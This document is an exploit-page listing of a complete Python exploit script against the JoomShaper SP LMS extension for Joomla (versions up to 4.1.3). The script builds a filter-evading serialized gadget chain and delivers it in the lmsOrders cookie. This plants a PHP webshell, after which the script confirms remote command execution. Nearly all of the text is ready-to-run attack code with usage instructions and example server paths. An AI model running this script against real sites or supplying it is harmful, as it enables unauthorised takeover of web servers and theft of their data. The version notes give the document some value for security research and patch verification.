Skip to content
Chimera readability score 71 out of 100, Expert reading level.

Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection

Affected : JoomShaper SP LMS <= 4.1.3

Fixed : JoomShaper SP LMS >= 4.1.4

Author : Amin İsayev / Proxima Cyber Security

Joomla version note:

RCE requires Joomla < 5.2.2

Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the

gadget chain — PHP Object Injection still exists in com_splms but no

known public gadget chain leads to RCE on patched Joomla versions.

Attack chain:

lmsOrders cookie

→ unserialize(base64_decode($cookie)) [com_splms/models/cart.php:28]

→ FormattedtextLogger.__destruct() [Joomla gadget]

→ File::write($path, $format)

→ webshell on disk

Joomla Input filter note:

$cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie.

Fix: pad format string so serialized total is divisible by 3 (no '=') and

iterate until base64 has no '/' (shifts encoding).

Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n

Usage:

python3 CVE-2026-48909_exploit.py <target> <server_path>

server_path = absolute PHP-writable path on server

Examples :

/var/www/html/tmp/x.php

/home/USER/public_html/tmp/x.php

/var/www/vhosts/site.com/httpdocs/tmp/x.php

"""

import sys

import base64

import requests

import urllib3

urllib3.disable_warnings()

CART_PATH = "/index.php?option=com_splms&view=cart"

TIMEOUT = 15

WEBSHELL = '<?php fpassthru(popen($_GET["c"],"r"));?>'

─── PHP serializer ───────────────────────────────────────────────────────────

def _s(s: str) -> str:

return f's:{len(s.encode())}:"{s}";'

def _pk(name: str) -> str:

"""Protected property key (null-byte notation for string concat)"""

return f'\x00*\x00{name}'

def _build_serialized(webshell_path: str, fmt: str) -> str:

"""Build the raw PHP serialized string (not yet base64)."""

entry = (

'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{'

's:4:"date";s:10:"1234567890";'

's:4:"time";s:1:"t";'

's:1:"f";s:3:"xxx";'

'}'

)

cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger'

props = (

_s(_pk('defer')) + 'b:1;' +

_s(_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' +

_s(_pk('path')) + _s(webshell_path) +

_s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +

_s(_pk('format')) + _s(fmt) +

_s(_pk('fields')) + 'a:0:{}'

)

return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}'

def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:

"""

Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.

The filter strips '/', '=' and '+'. We avoid these by:

1. Encoding php_code as hex → no '$', '_', '{', '}', '\\n' in format

2. Padding format to make total serialized length divisible by 3 → no '=' padding

3. Iterating pad size (by 3) until base64 contains no '/' chars

Returns (base64_payload, format_length).

"""

hex_code = php_code.encode().hex()

core = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'

pad_prefix = '/*'

pad_suffix = '*/;?>'

PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

for target_fmt_len in range(200, 8000):

pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)

if pad_len < 0:

continue

Quick mod-3 check with first pad_char before trying all 62

fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix

ser_probe = _build_serialized(webshell_path, fmt_probe).encode('latin-1')

if len(ser_probe) % 3 != 0:

continue # no pad_char can fix mod-3 alignment for this length

for pad_char in PAD_CHARS:

fmt = core + pad_prefix + pad_char * pad_len + pad_suffix

serialized = _build_serialized(webshell_path, fmt)

ser_bytes = serialized.encode('latin-1')

b64 = base64.b64encode(ser_bytes).decode()

if '/' not in b64 and '+' not in b64:

return b64, len(fmt)

raise RuntimeError("Could not find filter-safe payload — try a different path")

─── Exploit ──────────────────────────────────────────────────────────────────

def _server_path_to_url(server_path: str) -> str:

"""Strip webroot prefix to get the URL path."""

import re

cPanel: /home[N]/USER/public_html/...

m = re.match(r'^/home\d/[^/]+/public_html(/.)', server_path)

if m:

return m.group(1)

Plesk: /var/www/vhosts/DOMAIN/httpdocs/...

m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)

if m:

return m.group(1)

Standard

for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):

if server_path.startswith(prefix):

return server_path[len(prefix):]

return server_path

def exploit(target: str, server_path: str) -> None:

url_path = _server_path_to_url(server_path)

cart_url = target.rstrip('/') + CART_PATH

shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)

session = requests.Session()

session.verify = False

session.headers.update({

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8',

'Accept-Language': 'en-US,en;q=0.5',

})

print(f"[*] Target : {target}")

print(f"[*] Shell path : {server_path}")

print(f"[*] Shell URL : {shell_url}")

print("[*] Building filter-safe payload...")

payload, fmt_len = build_payload(server_path, WEBSHELL)

print(f"[*] Format len : {fmt_len} bytes | Base64 len: {len(payload)}")

print(f"[*] Payload : {payload[:60]}...")

print()

try:

r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)

status = r.status_code

if status == 500:

print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)")

elif status == 200:

print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered")

else:

print(f"[?] HTTP {status}")

except requests.RequestException as e:

print(f"[!] Request failed: {e}")

return

import time; time.sleep(1)

Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell

print("[*] Step 1: triggering fopen/fwrite loader...")

try:

r1 = session.get(shell_url, timeout=TIMEOUT)

print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)")

except requests.RequestException as e:

print(f"[!] Loader request failed: {e}")

Step 2: verify RCE

print("[*] Step 2: checking shell...")

try:

rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)

if rv.status_code == 200 and 'uid=' in rv.text:

print(f"\n[+] SHELL ACTIVE!")

print(f"[+] id: {rv.text.strip()[:200]}")

print(f"\n curl -sk '{shell_url}?c=COMMAND'")

elif rv.status_code == 200 and len(rv.text.strip()) < 600:

print(f"\n[~] File accessible:")

print(f" {rv.text.strip()[:300]}")

print(f"\n Try again: curl -sk '{shell_url}?c=id'")

elif rv.status_code == 404:

print(f"[-] Shell not found (404) — file not written or wrong path")

print(f" Common paths: /tmp/x.php /images/x.php /cache/x.php")

elif rv.status_code == 403:

print(f"[~] 403 — file may exist but PHP not served there")

else:

print(f"[-] HTTP {rv.status_code}")

except requests.RequestException as e:

print(f"[!] Shell check failed: {e}")

def main():

if len(sys.argv) < 3:

print(__doc__)

sys.exit(1)

exploit(sys.argv[1], sys.argv[2])

if __name__ == '__main__':

main()